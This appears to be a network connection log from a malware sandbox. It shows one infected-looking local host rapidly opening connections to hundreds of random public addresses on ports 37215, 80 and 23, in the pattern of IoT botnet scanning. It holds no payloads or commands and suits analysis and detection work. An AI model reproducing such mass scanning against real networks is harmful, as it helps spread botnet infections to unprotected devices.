Dec 3, 2024 22:02:00.889308929 CET	40832	37215	192.168.2.14	41.4.250.190
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	41.45.2.17
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	197.203.171.67
Dec 3, 2024 22:02:00.889312029 CET	39296	80	192.168.2.14	24.65.233.153
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	41.10.244.134
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	41.12.15.114
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	41.217.214.37
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	197.114.240.9
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	197.221.189.247
Dec 3, 2024 22:02:00.889312029 CET	39296	80	192.168.2.14	45.96.70.181
Dec 3, 2024 22:02:00.889312029 CET	40832	37215	192.168.2.14	41.30.193.44
Dec 3, 2024 22:02:00.889312029 CET	39296	80	192.168.2.14	198.3.126.33
Dec 3, 2024 22:02:00.889312029 CET	39296	80	192.168.2.14	96.60.235.82
Dec 3, 2024 22:02:00.889327049 CET	39296	80	192.168.2.14	82.32.93.14
Dec 3, 2024 22:02:00.889327049 CET	40832	37215	192.168.2.14	41.90.167.169
Dec 3, 2024 22:02:00.889327049 CET	40832	37215	192.168.2.14	156.18.170.64
Dec 3, 2024 22:02:00.889328003 CET	40832	37215	192.168.2.14	41.6.35.132
Dec 3, 2024 22:02:00.889328003 CET	40832	37215	192.168.2.14	156.246.95.77
Dec 3, 2024 22:02:00.889328957 CET	40832	37215	192.168.2.14	197.86.1.37
Dec 3, 2024 22:02:00.889328957 CET	39296	80	192.168.2.14	141.36.180.137
Dec 3, 2024 22:02:00.889328957 CET	39296	80	192.168.2.14	168.152.7.137
Dec 3, 2024 22:02:00.889328957 CET	40832	37215	192.168.2.14	197.20.145.119
Dec 3, 2024 22:02:00.889328003 CET	39296	80	192.168.2.14	199.79.105.13
Dec 3, 2024 22:02:00.889328003 CET	40832	37215	192.168.2.14	197.185.85.62
Dec 3, 2024 22:02:00.889328957 CET	40832	37215	192.168.2.14	156.233.124.119
Dec 3, 2024 22:02:00.889328003 CET	40832	37215	192.168.2.14	197.185.245.203
Dec 3, 2024 22:02:00.889328957 CET	40832	37215	192.168.2.14	197.148.150.104
Dec 3, 2024 22:02:00.889328003 CET	39296	80	192.168.2.14	23.145.16.38
Dec 3, 2024 22:02:00.889328957 CET	40832	37215	192.168.2.14	156.192.7.143
Dec 3, 2024 22:02:00.889328957 CET	39296	80	192.168.2.14	121.226.38.242
Dec 3, 2024 22:02:00.889328957 CET	40832	37215	192.168.2.14	197.236.182.41
Dec 3, 2024 22:02:00.889347076 CET	40832	37215	192.168.2.14	156.154.91.111
Dec 3, 2024 22:02:00.889347076 CET	40832	37215	192.168.2.14	41.250.28.155
Dec 3, 2024 22:02:00.889347076 CET	40832	37215	192.168.2.14	156.59.36.76
Dec 3, 2024 22:02:00.889347076 CET	39296	80	192.168.2.14	163.212.144.224
Dec 3, 2024 22:02:00.889347076 CET	40832	37215	192.168.2.14	156.208.232.66
Dec 3, 2024 22:02:00.889347076 CET	40832	37215	192.168.2.14	197.124.186.114
Dec 3, 2024 22:02:00.889347076 CET	40832	37215	192.168.2.14	41.138.94.30
Dec 3, 2024 22:02:00.889359951 CET	40832	37215	192.168.2.14	156.113.194.99
Dec 3, 2024 22:02:00.889359951 CET	39296	80	192.168.2.14	77.118.226.104
Dec 3, 2024 22:02:00.889362097 CET	40832	37215	192.168.2.14	156.77.106.215
Dec 3, 2024 22:02:00.889362097 CET	40832	37215	192.168.2.14	156.114.36.122
Dec 3, 2024 22:02:00.889364958 CET	40832	37215	192.168.2.14	197.44.152.189
Dec 3, 2024 22:02:00.889364958 CET	40832	37215	192.168.2.14	197.145.15.116
Dec 3, 2024 22:02:00.889365911 CET	39296	80	192.168.2.14	87.223.178.99
Dec 3, 2024 22:02:00.889364958 CET	39296	80	192.168.2.14	177.121.62.245
Dec 3, 2024 22:02:00.889367104 CET	40832	37215	192.168.2.14	156.208.138.129
Dec 3, 2024 22:02:00.889367104 CET	39296	80	192.168.2.14	158.219.12.222
Dec 3, 2024 22:02:00.889367104 CET	39296	80	192.168.2.14	112.0.117.152
Dec 3, 2024 22:02:00.889367104 CET	40832	37215	192.168.2.14	197.73.16.209
Dec 3, 2024 22:02:00.889365911 CET	40832	37215	192.168.2.14	156.192.92.65
Dec 3, 2024 22:02:00.889367104 CET	40832	37215	192.168.2.14	156.191.123.170
Dec 3, 2024 22:02:00.889367104 CET	40832	37215	192.168.2.14	197.103.24.242
Dec 3, 2024 22:02:00.889369965 CET	40832	37215	192.168.2.14	41.25.97.8
Dec 3, 2024 22:02:00.889369011 CET	40832	37215	192.168.2.14	41.64.209.133
Dec 3, 2024 22:02:00.889369965 CET	40832	37215	192.168.2.14	41.227.233.39
Dec 3, 2024 22:02:00.889369011 CET	39296	80	192.168.2.14	129.240.65.223
Dec 3, 2024 22:02:00.889370918 CET	40832	37215	192.168.2.14	156.13.86.232
Dec 3, 2024 22:02:00.889365911 CET	40832	37215	192.168.2.14	41.9.232.32
Dec 3, 2024 22:02:00.889369011 CET	40832	37215	192.168.2.14	197.73.134.4
Dec 3, 2024 22:02:00.889370918 CET	39296	80	192.168.2.14	19.147.243.36
Dec 3, 2024 22:02:00.889365911 CET	40832	37215	192.168.2.14	197.116.213.84
Dec 3, 2024 22:02:00.889369011 CET	39296	80	192.168.2.14	81.222.126.214
Dec 3, 2024 22:02:00.889365911 CET	40832	37215	192.168.2.14	156.89.15.177
Dec 3, 2024 22:02:00.889369011 CET	39296	80	192.168.2.14	81.150.94.248
Dec 3, 2024 22:02:00.889369011 CET	40832	37215	192.168.2.14	197.43.160.98
Dec 3, 2024 22:02:00.889369011 CET	40832	37215	192.168.2.14	197.212.244.6
Dec 3, 2024 22:02:00.889369011 CET	40832	37215	192.168.2.14	156.228.201.59
Dec 3, 2024 22:02:00.889385939 CET	40832	37215	192.168.2.14	41.58.143.162
Dec 3, 2024 22:02:00.889385939 CET	39296	80	192.168.2.14	2.180.42.151
Dec 3, 2024 22:02:00.889388084 CET	40832	37215	192.168.2.14	156.174.68.134
Dec 3, 2024 22:02:00.889389038 CET	40832	37215	192.168.2.14	197.168.57.80
Dec 3, 2024 22:02:00.889389038 CET	40832	37215	192.168.2.14	41.123.203.198
Dec 3, 2024 22:02:00.889390945 CET	40832	37215	192.168.2.14	156.242.152.146
Dec 3, 2024 22:02:00.889389992 CET	40832	37215	192.168.2.14	197.110.234.139
Dec 3, 2024 22:02:00.889389038 CET	39296	80	192.168.2.14	97.223.70.201
Dec 3, 2024 22:02:00.889388084 CET	40832	37215	192.168.2.14	197.229.205.164
Dec 3, 2024 22:02:00.889389992 CET	40832	37215	192.168.2.14	197.171.208.167
Dec 3, 2024 22:02:00.889390945 CET	40832	37215	192.168.2.14	197.79.215.125
Dec 3, 2024 22:02:00.889389038 CET	40832	37215	192.168.2.14	197.0.99.246
Dec 3, 2024 22:02:00.889389992 CET	40832	37215	192.168.2.14	41.214.179.191
Dec 3, 2024 22:02:00.889388084 CET	40832	37215	192.168.2.14	156.138.15.10
Dec 3, 2024 22:02:00.889391899 CET	39296	80	192.168.2.14	104.247.125.60
Dec 3, 2024 22:02:00.889389038 CET	39296	80	192.168.2.14	2.189.210.232
Dec 3, 2024 22:02:00.889390945 CET	40832	37215	192.168.2.14	156.252.82.25
Dec 3, 2024 22:02:00.889391899 CET	39296	80	192.168.2.14	38.165.153.49
Dec 3, 2024 22:02:00.889391899 CET	40832	37215	192.168.2.14	197.79.236.59
Dec 3, 2024 22:02:00.889409065 CET	40832	37215	192.168.2.14	156.92.1.0
Dec 3, 2024 22:02:00.889409065 CET	39296	80	192.168.2.14	34.177.199.72
Dec 3, 2024 22:02:00.889409065 CET	40832	37215	192.168.2.14	197.243.73.6
Dec 3, 2024 22:02:00.889409065 CET	40832	37215	192.168.2.14	197.212.33.137
Dec 3, 2024 22:02:00.889409065 CET	39296	80	192.168.2.14	185.131.87.233
Dec 3, 2024 22:02:00.889409065 CET	39296	80	192.168.2.14	40.224.169.140
Dec 3, 2024 22:02:00.889409065 CET	40832	37215	192.168.2.14	197.228.222.162
Dec 3, 2024 22:02:00.889409065 CET	40832	37215	192.168.2.14	41.145.85.232
Dec 3, 2024 22:02:00.889419079 CET	40832	37215	192.168.2.14	156.215.159.112
Dec 3, 2024 22:02:00.889419079 CET	39296	80	192.168.2.14	142.58.83.203
Dec 3, 2024 22:02:00.889419079 CET	40832	37215	192.168.2.14	156.180.141.106
Dec 3, 2024 22:02:00.889419079 CET	40832	37215	192.168.2.14	41.51.18.26
Dec 3, 2024 22:02:00.889420033 CET	40832	37215	192.168.2.14	156.177.34.37
Dec 3, 2024 22:02:00.889419079 CET	40832	37215	192.168.2.14	41.50.164.85
Dec 3, 2024 22:02:00.889420033 CET	39296	80	192.168.2.14	143.140.55.25
Dec 3, 2024 22:02:00.889419079 CET	40832	37215	192.168.2.14	156.173.115.134
Dec 3, 2024 22:02:00.889420033 CET	39296	80	192.168.2.14	139.96.148.29
Dec 3, 2024 22:02:00.889422894 CET	39296	80	192.168.2.14	25.73.8.164
Dec 3, 2024 22:02:00.889422894 CET	39296	80	192.168.2.14	74.9.74.179
Dec 3, 2024 22:02:00.889424086 CET	40832	37215	192.168.2.14	156.176.201.217
Dec 3, 2024 22:02:00.889424086 CET	39296	80	192.168.2.14	92.137.254.110
Dec 3, 2024 22:02:00.889424086 CET	40832	37215	192.168.2.14	41.194.95.148
Dec 3, 2024 22:02:00.889425039 CET	40832	37215	192.168.2.14	41.188.247.171
Dec 3, 2024 22:02:00.889424086 CET	40832	37215	192.168.2.14	156.46.28.9
Dec 3, 2024 22:02:00.889425039 CET	40832	37215	192.168.2.14	41.33.112.201
Dec 3, 2024 22:02:00.889425039 CET	40832	37215	192.168.2.14	156.105.106.248
Dec 3, 2024 22:02:00.889424086 CET	40832	37215	192.168.2.14	197.237.177.177
Dec 3, 2024 22:02:00.889424086 CET	39296	80	192.168.2.14	61.13.245.218
Dec 3, 2024 22:02:00.889448881 CET	40832	37215	192.168.2.14	41.83.3.144
Dec 3, 2024 22:02:00.889448881 CET	40832	37215	192.168.2.14	156.146.244.17
Dec 3, 2024 22:02:00.889448881 CET	40832	37215	192.168.2.14	156.87.41.96
Dec 3, 2024 22:02:00.889451027 CET	40832	37215	192.168.2.14	41.149.217.53
Dec 3, 2024 22:02:00.889451027 CET	39296	80	192.168.2.14	34.81.223.154
Dec 3, 2024 22:02:00.889451981 CET	40832	37215	192.168.2.14	156.20.252.236
Dec 3, 2024 22:02:00.889451981 CET	40832	37215	192.168.2.14	156.191.22.205
Dec 3, 2024 22:02:00.889451981 CET	40832	37215	192.168.2.14	156.245.187.73
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	145.88.252.97
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	197.162.123.242
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	156.40.11.105
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	156.230.132.28
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	132.167.170.93
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	156.213.123.83
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	120.50.250.34
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	23.13.92.234
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	197.38.194.155
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	43.12.209.179
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	71.124.147.48
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	156.226.38.255
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	52.46.165.109
Dec 3, 2024 22:02:00.889456034 CET	40832	37215	192.168.2.14	156.99.102.80
Dec 3, 2024 22:02:00.889456034 CET	39296	80	192.168.2.14	114.240.99.15
Dec 3, 2024 22:02:00.889472961 CET	40832	37215	192.168.2.14	197.184.122.153
Dec 3, 2024 22:02:00.889472961 CET	40832	37215	192.168.2.14	197.84.84.224
Dec 3, 2024 22:02:00.889472961 CET	39296	80	192.168.2.14	196.180.205.44
Dec 3, 2024 22:02:00.889477015 CET	40832	37215	192.168.2.14	41.113.136.124
Dec 3, 2024 22:02:00.889477968 CET	40832	37215	192.168.2.14	156.232.235.128
Dec 3, 2024 22:02:00.889478922 CET	39296	80	192.168.2.14	139.6.156.168
Dec 3, 2024 22:02:00.889477968 CET	40832	37215	192.168.2.14	41.33.14.26
Dec 3, 2024 22:02:00.889477968 CET	39296	80	192.168.2.14	141.223.244.86
Dec 3, 2024 22:02:00.889481068 CET	40832	37215	192.168.2.14	41.170.187.199
Dec 3, 2024 22:02:00.889481068 CET	40832	37215	192.168.2.14	197.204.38.165
Dec 3, 2024 22:02:00.889482021 CET	40832	37215	192.168.2.14	156.153.101.153
Dec 3, 2024 22:02:00.889482021 CET	40832	37215	192.168.2.14	156.171.121.179
Dec 3, 2024 22:02:00.889482021 CET	39296	80	192.168.2.14	27.83.126.53
Dec 3, 2024 22:02:00.889486074 CET	39296	80	192.168.2.14	9.27.82.106
Dec 3, 2024 22:02:00.889487028 CET	40832	37215	192.168.2.14	41.74.209.188
Dec 3, 2024 22:02:00.889486074 CET	39296	80	192.168.2.14	108.176.14.38
Dec 3, 2024 22:02:00.889481068 CET	39296	80	192.168.2.14	50.32.77.58
Dec 3, 2024 22:02:00.889487028 CET	39296	80	192.168.2.14	138.10.15.46
Dec 3, 2024 22:02:00.889487028 CET	39296	80	192.168.2.14	177.13.211.141
Dec 3, 2024 22:02:00.889487028 CET	39296	80	192.168.2.14	180.178.88.75
Dec 3, 2024 22:02:00.889481068 CET	39296	80	192.168.2.14	9.251.33.160
Dec 3, 2024 22:02:00.889482021 CET	40832	37215	192.168.2.14	156.40.84.161
Dec 3, 2024 22:02:00.889487028 CET	39296	80	192.168.2.14	34.162.192.150
Dec 3, 2024 22:02:00.889481068 CET	39296	80	192.168.2.14	73.178.74.55
Dec 3, 2024 22:02:00.889482021 CET	39296	80	192.168.2.14	102.157.206.112
Dec 3, 2024 22:02:00.889481068 CET	39296	80	192.168.2.14	101.221.147.119
Dec 3, 2024 22:02:00.889494896 CET	39296	80	192.168.2.14	4.195.9.11
Dec 3, 2024 22:02:00.889486074 CET	39296	80	192.168.2.14	63.204.170.56
Dec 3, 2024 22:02:00.889499903 CET	39296	80	192.168.2.14	45.53.124.139
Dec 3, 2024 22:02:00.889503002 CET	39296	80	192.168.2.14	208.140.211.68
Dec 3, 2024 22:02:00.889513016 CET	39296	80	192.168.2.14	89.185.131.75
Dec 3, 2024 22:02:00.889522076 CET	39296	80	192.168.2.14	85.64.202.33
Dec 3, 2024 22:02:00.889527082 CET	39296	80	192.168.2.14	106.144.144.39
Dec 3, 2024 22:02:00.889537096 CET	39296	80	192.168.2.14	75.56.217.187
Dec 3, 2024 22:02:00.889543056 CET	39296	80	192.168.2.14	175.127.77.72
Dec 3, 2024 22:02:00.889554977 CET	39296	80	192.168.2.14	197.225.208.192
Dec 3, 2024 22:02:00.889565945 CET	39296	80	192.168.2.14	32.253.153.180
Dec 3, 2024 22:02:00.889579058 CET	39296	80	192.168.2.14	57.149.21.34
Dec 3, 2024 22:02:00.889586926 CET	39296	80	192.168.2.14	142.108.252.129
Dec 3, 2024 22:02:00.889595985 CET	39296	80	192.168.2.14	157.146.249.21
Dec 3, 2024 22:02:00.889605045 CET	39296	80	192.168.2.14	101.72.117.104
Dec 3, 2024 22:02:00.889612913 CET	39296	80	192.168.2.14	120.111.0.17
Dec 3, 2024 22:02:00.889621019 CET	39296	80	192.168.2.14	135.68.214.139
Dec 3, 2024 22:02:00.889628887 CET	39296	80	192.168.2.14	5.125.162.141
Dec 3, 2024 22:02:00.889631033 CET	39296	80	192.168.2.14	108.104.163.44
Dec 3, 2024 22:02:00.889640093 CET	39296	80	192.168.2.14	46.57.206.76
Dec 3, 2024 22:02:00.889651060 CET	39296	80	192.168.2.14	64.111.171.246
Dec 3, 2024 22:02:00.889657974 CET	39296	80	192.168.2.14	132.187.245.72
Dec 3, 2024 22:02:00.889662981 CET	39296	80	192.168.2.14	222.142.56.24
Dec 3, 2024 22:02:00.889667988 CET	39296	80	192.168.2.14	92.13.102.191
Dec 3, 2024 22:02:00.889674902 CET	39296	80	192.168.2.14	206.2.71.63
Dec 3, 2024 22:02:00.889687061 CET	39296	80	192.168.2.14	148.89.144.119
Dec 3, 2024 22:02:00.889695883 CET	39296	80	192.168.2.14	18.234.102.95
Dec 3, 2024 22:02:00.889703989 CET	39296	80	192.168.2.14	170.85.145.108
Dec 3, 2024 22:02:00.889715910 CET	39296	80	192.168.2.14	219.224.106.164
Dec 3, 2024 22:02:00.889727116 CET	39296	80	192.168.2.14	118.83.104.34
Dec 3, 2024 22:02:00.889734983 CET	39296	80	192.168.2.14	96.119.143.239
Dec 3, 2024 22:02:00.889743090 CET	39296	80	192.168.2.14	108.223.168.8
Dec 3, 2024 22:02:00.889750004 CET	39296	80	192.168.2.14	134.134.85.18
Dec 3, 2024 22:02:00.889758110 CET	39296	80	192.168.2.14	159.241.232.48
Dec 3, 2024 22:02:00.889765978 CET	39296	80	192.168.2.14	67.209.64.166
Dec 3, 2024 22:02:00.889772892 CET	39296	80	192.168.2.14	19.69.228.7
Dec 3, 2024 22:02:00.889805079 CET	39296	80	192.168.2.14	104.222.208.142
Dec 3, 2024 22:02:00.889805079 CET	39296	80	192.168.2.14	53.123.77.203
Dec 3, 2024 22:02:00.889826059 CET	39296	80	192.168.2.14	108.10.115.83
Dec 3, 2024 22:02:00.889833927 CET	39296	80	192.168.2.14	125.181.232.150
Dec 3, 2024 22:02:00.889843941 CET	39296	80	192.168.2.14	122.103.34.195
Dec 3, 2024 22:02:00.889852047 CET	39296	80	192.168.2.14	219.233.29.193
Dec 3, 2024 22:02:00.889863014 CET	39296	80	192.168.2.14	74.225.63.80
Dec 3, 2024 22:02:00.889863014 CET	39296	80	192.168.2.14	4.9.31.3
Dec 3, 2024 22:02:00.889873028 CET	39296	80	192.168.2.14	182.22.189.158
Dec 3, 2024 22:02:00.889897108 CET	39296	80	192.168.2.14	98.1.63.91
Dec 3, 2024 22:02:00.889919996 CET	39296	80	192.168.2.14	118.246.200.32
Dec 3, 2024 22:02:00.889919996 CET	39296	80	192.168.2.14	165.158.173.184
Dec 3, 2024 22:02:00.889941931 CET	39296	80	192.168.2.14	59.118.203.33
Dec 3, 2024 22:02:00.889946938 CET	39296	80	192.168.2.14	111.78.118.59
Dec 3, 2024 22:02:00.889952898 CET	39296	80	192.168.2.14	172.0.228.167
Dec 3, 2024 22:02:00.889959097 CET	39296	80	192.168.2.14	8.56.94.20
Dec 3, 2024 22:02:00.889967918 CET	39296	80	192.168.2.14	106.129.67.101
Dec 3, 2024 22:02:00.889974117 CET	39296	80	192.168.2.14	133.68.65.187
Dec 3, 2024 22:02:00.890001059 CET	39296	80	192.168.2.14	162.230.169.74
Dec 3, 2024 22:02:00.890017033 CET	39296	80	192.168.2.14	102.121.91.184
Dec 3, 2024 22:02:00.890017033 CET	39296	80	192.168.2.14	101.119.97.77
Dec 3, 2024 22:02:00.890024900 CET	39296	80	192.168.2.14	59.35.226.92
Dec 3, 2024 22:02:00.890047073 CET	39296	80	192.168.2.14	81.138.175.146
Dec 3, 2024 22:02:00.890048027 CET	39296	80	192.168.2.14	35.47.87.111
Dec 3, 2024 22:02:00.890053988 CET	39296	80	192.168.2.14	122.56.148.205
Dec 3, 2024 22:02:00.890062094 CET	39296	80	192.168.2.14	112.75.251.48
Dec 3, 2024 22:02:00.890069008 CET	39296	80	192.168.2.14	189.147.112.8
Dec 3, 2024 22:02:00.890079021 CET	39296	80	192.168.2.14	223.124.129.119
Dec 3, 2024 22:02:00.890090942 CET	39296	80	192.168.2.14	8.234.95.192
Dec 3, 2024 22:02:00.890093088 CET	39296	80	192.168.2.14	113.125.57.31
Dec 3, 2024 22:02:00.890114069 CET	39296	80	192.168.2.14	109.60.119.131
Dec 3, 2024 22:02:00.890130043 CET	39296	80	192.168.2.14	72.61.24.40
Dec 3, 2024 22:02:00.890130997 CET	39296	80	192.168.2.14	38.170.207.57
Dec 3, 2024 22:02:00.890136003 CET	39296	80	192.168.2.14	190.60.48.179
Dec 3, 2024 22:02:00.890146971 CET	39296	80	192.168.2.14	191.210.182.214
Dec 3, 2024 22:02:00.890149117 CET	39296	80	192.168.2.14	74.33.93.107
Dec 3, 2024 22:02:00.890156031 CET	39296	80	192.168.2.14	179.32.63.235
Dec 3, 2024 22:02:00.890166044 CET	39296	80	192.168.2.14	2.74.38.192
Dec 3, 2024 22:02:00.890168905 CET	39296	80	192.168.2.14	202.17.2.38
Dec 3, 2024 22:02:00.890180111 CET	39296	80	192.168.2.14	128.153.42.121
Dec 3, 2024 22:02:00.890202045 CET	39296	80	192.168.2.14	171.222.12.180
Dec 3, 2024 22:02:00.890213966 CET	39296	80	192.168.2.14	180.73.241.78
Dec 3, 2024 22:02:00.890218973 CET	39296	80	192.168.2.14	168.66.105.228
Dec 3, 2024 22:02:00.890232086 CET	39296	80	192.168.2.14	34.87.9.205
Dec 3, 2024 22:02:00.890235901 CET	39296	80	192.168.2.14	101.7.182.46
Dec 3, 2024 22:02:00.890248060 CET	39296	80	192.168.2.14	75.20.55.203
Dec 3, 2024 22:02:00.890255928 CET	39296	80	192.168.2.14	41.189.78.246
Dec 3, 2024 22:02:00.890264034 CET	39296	80	192.168.2.14	9.63.25.245
Dec 3, 2024 22:02:00.890274048 CET	39296	80	192.168.2.14	150.124.220.205
Dec 3, 2024 22:02:00.890294075 CET	39296	80	192.168.2.14	97.210.49.136
Dec 3, 2024 22:02:00.890389919 CET	54916	23	192.168.2.14	14.136.211.123
Dec 3, 2024 22:02:00.890491962 CET	55992	37215	192.168.2.14	197.154.225.139
Dec 3, 2024 22:02:00.891473055 CET	45832	80	192.168.2.14	60.237.166.35
Dec 3, 2024 22:02:00.891896963 CET	33558	23	192.168.2.14	219.246.174.21
Dec 3, 2024 22:02:00.892754078 CET	53388	80	192.168.2.14	182.197.9.130
Dec 3, 2024 22:02:00.893044949 CET	55308	23	192.168.2.14	89.218.163.123
Dec 3, 2024 22:02:00.894012928 CET	47416	23	192.168.2.14	59.90.193.67
Dec 3, 2024 22:02:00.894695997 CET	59134	23	192.168.2.14	184.7.115.224
Dec 3, 2024 22:02:00.895338058 CET	45474	23	192.168.2.14	70.214.28.66
Dec 3, 2024 22:02:00.895972013 CET	39022	23	192.168.2.14	66.214.221.169
Dec 3, 2024 22:02:00.896584034 CET	42650	23	192.168.2.14	115.38.120.79
Dec 3, 2024 22:02:00.897201061 CET	56668	23	192.168.2.14	160.135.216.227
Dec 3, 2024 22:02:00.897820950 CET	46980	23	192.168.2.14	8.226.44.4
Dec 3, 2024 22:02:00.898418903 CET	36318	23	192.168.2.14	169.185.210.240
Dec 3, 2024 22:02:00.899084091 CET	34446	23	192.168.2.14	197.146.173.147
Dec 3, 2024 22:02:00.899730921 CET	36132	23	192.168.2.14	63.159.212.211
Dec 3, 2024 22:02:00.900384903 CET	50242	23	192.168.2.14	149.203.109.186
Dec 3, 2024 22:02:00.901051044 CET	39996	23	192.168.2.14	122.215.8.16
Dec 3, 2024 22:02:00.901676893 CET	37286	23	192.168.2.14	207.20.208.130
Dec 3, 2024 22:02:00.902328014 CET	40806	23	192.168.2.14	198.152.174.23
Dec 3, 2024 22:02:00.902940989 CET	47336	23	192.168.2.14	50.100.12.31
Dec 3, 2024 22:02:00.903559923 CET	55628	23	192.168.2.14	66.48.92.123
Dec 3, 2024 22:02:00.904198885 CET	51270	23	192.168.2.14	200.214.25.121
Dec 3, 2024 22:02:00.904797077 CET	54988	23	192.168.2.14	27.148.244.238
Dec 3, 2024 22:02:00.917915106 CET	59564	23	192.168.2.14	90.220.126.41
Dec 3, 2024 22:02:00.918504953 CET	44246	23	192.168.2.14	181.162.98.154
Dec 3, 2024 22:02:00.919076920 CET	58908	23	192.168.2.14	192.115.242.217
Dec 3, 2024 22:02:00.919670105 CET	58008	23	192.168.2.14	222.73.93.37
Dec 3, 2024 22:02:00.920255899 CET	43912	23	192.168.2.14	157.54.143.191
Dec 3, 2024 22:02:00.920870066 CET	58534	23	192.168.2.14	119.162.54.61
Dec 3, 2024 22:02:00.921514988 CET	51904	23	192.168.2.14	123.104.175.31
Dec 3, 2024 22:02:00.922123909 CET	57258	23	192.168.2.14	91.200.13.185
Dec 3, 2024 22:02:00.922787905 CET	58280	23	192.168.2.14	163.183.101.176
Dec 3, 2024 22:02:00.923371077 CET	42842	23	192.168.2.14	198.181.223.122
Dec 3, 2024 22:02:00.923995018 CET	35834	23	192.168.2.14	122.20.162.86
Dec 3, 2024 22:02:00.924597979 CET	39770	23	192.168.2.14	198.17.196.53
Dec 3, 2024 22:02:00.925194025 CET	48774	23	192.168.2.14	219.94.155.198
Dec 3, 2024 22:02:00.925833941 CET	42176	23	192.168.2.14	114.125.101.1
Dec 3, 2024 22:02:00.926482916 CET	36958	23	192.168.2.14	157.191.153.182
Dec 3, 2024 22:02:00.927156925 CET	47690	23	192.168.2.14	143.25.199.21
Dec 3, 2024 22:02:00.927817106 CET	59774	23	192.168.2.14	73.215.30.204
Dec 3, 2024 22:02:00.928472996 CET	43750	23	192.168.2.14	136.255.16.98
Dec 3, 2024 22:02:00.929131985 CET	58466	23	192.168.2.14	155.143.127.153
Dec 3, 2024 22:02:00.929783106 CET	47990	23	192.168.2.14	83.126.32.218
Dec 3, 2024 22:02:00.930433035 CET	34466	23	192.168.2.14	57.173.44.141
Dec 3, 2024 22:02:00.931078911 CET	56762	23	192.168.2.14	46.236.147.29
Dec 3, 2024 22:02:00.931756973 CET	57486	23	192.168.2.14	48.34.198.188
Dec 3, 2024 22:02:00.932476044 CET	52166	23	192.168.2.14	78.49.218.0
Dec 3, 2024 22:02:00.933207989 CET	33156	23	192.168.2.14	94.182.226.117
Dec 3, 2024 22:02:00.933886051 CET	50126	23	192.168.2.14	84.29.78.100
Dec 3, 2024 22:02:00.934607983 CET	44302	23	192.168.2.14	47.107.208.217
Dec 3, 2024 22:02:00.935329914 CET	39178	23	192.168.2.14	154.19.5.90
Dec 3, 2024 22:02:00.935986996 CET	38812	23	192.168.2.14	193.104.160.9
Dec 3, 2024 22:02:00.936655045 CET	53412	23	192.168.2.14	78.118.253.168
Dec 3, 2024 22:02:00.937316895 CET	43730	23	192.168.2.14	1.151.38.158
Dec 3, 2024 22:02:00.937990904 CET	36934	23	192.168.2.14	106.94.213.34
Dec 3, 2024 22:02:00.938680887 CET	45766	23	192.168.2.14	135.5.244.226
Dec 3, 2024 22:02:00.985196114 CET	23	39808	54.209.250.169	192.168.2.14
Dec 3, 2024 22:02:00.985219955 CET	23	39808	142.138.243.191	192.168.2.14
Dec 3, 2024 22:02:00.985230923 CET	23	39808	146.246.61.245	192.168.2.14
Dec 3, 2024 22:02:00.985246897 CET	23	39808	20.210.138.128	192.168.2.14
Dec 3, 2024 22:02:00.985255957 CET	23	39808	82.129.228.119	192.168.2.14
Dec 3, 2024 22:02:00.985265970 CET	23	39808	130.230.252.173	192.168.2.14
Dec 3, 2024 22:02:00.985338926 CET	39808	23	192.168.2.14	54.209.250.169
Dec 3, 2024 22:02:00.985349894 CET	39808	23	192.168.2.14	20.210.138.128
Dec 3, 2024 22:02:00.985352039 CET	39808	23	192.168.2.14	130.230.252.173
Dec 3, 2024 22:02:00.985352039 CET	39808	23	192.168.2.14	82.129.228.119
Dec 3, 2024 22:02:00.985352993 CET	39808	23	192.168.2.14	146.246.61.245
Dec 3, 2024 22:02:00.985368967 CET	39808	23	192.168.2.14	142.138.243.191
Dec 3, 2024 22:02:00.986025095 CET	23	39808	120.44.162.106	192.168.2.14
Dec 3, 2024 22:02:00.986040115 CET	23	39808	37.110.33.41	192.168.2.14
Dec 3, 2024 22:02:00.986051083 CET	23	39808	42.239.28.216	192.168.2.14
Dec 3, 2024 22:02:00.986057043 CET	39808	23	192.168.2.14	120.44.162.106
Dec 3, 2024 22:02:00.986071110 CET	39808	23	192.168.2.14	37.110.33.41
Dec 3, 2024 22:02:00.986093044 CET	39808	23	192.168.2.14	42.239.28.216
Dec 3, 2024 22:02:00.986102104 CET	23	39808	60.241.179.239	192.168.2.14
Dec 3, 2024 22:02:00.986112118 CET	23	39808	150.110.243.151	192.168.2.14
Dec 3, 2024 22:02:00.986126900 CET	23	39808	111.208.105.182	192.168.2.14
Dec 3, 2024 22:02:00.986139059 CET	39808	23	192.168.2.14	150.110.243.151
Dec 3, 2024 22:02:00.986141920 CET	23	39808	105.38.249.28	192.168.2.14
Dec 3, 2024 22:02:00.986152887 CET	23	39808	115.44.115.201	192.168.2.14
Dec 3, 2024 22:02:00.986154079 CET	39808	23	192.168.2.14	111.208.105.182
Dec 3, 2024 22:02:00.986155033 CET	39808	23	192.168.2.14	60.241.179.239
Dec 3, 2024 22:02:00.986170053 CET	39808	23	192.168.2.14	105.38.249.28
Dec 3, 2024 22:02:00.986176968 CET	39808	23	192.168.2.14	115.44.115.201
Dec 3, 2024 22:02:00.986186028 CET	23	39808	182.112.23.245	192.168.2.14
Dec 3, 2024 22:02:00.986196995 CET	23	39808	31.254.18.225	192.168.2.14
Dec 3, 2024 22:02:00.986219883 CET	39808	23	192.168.2.14	31.254.18.225
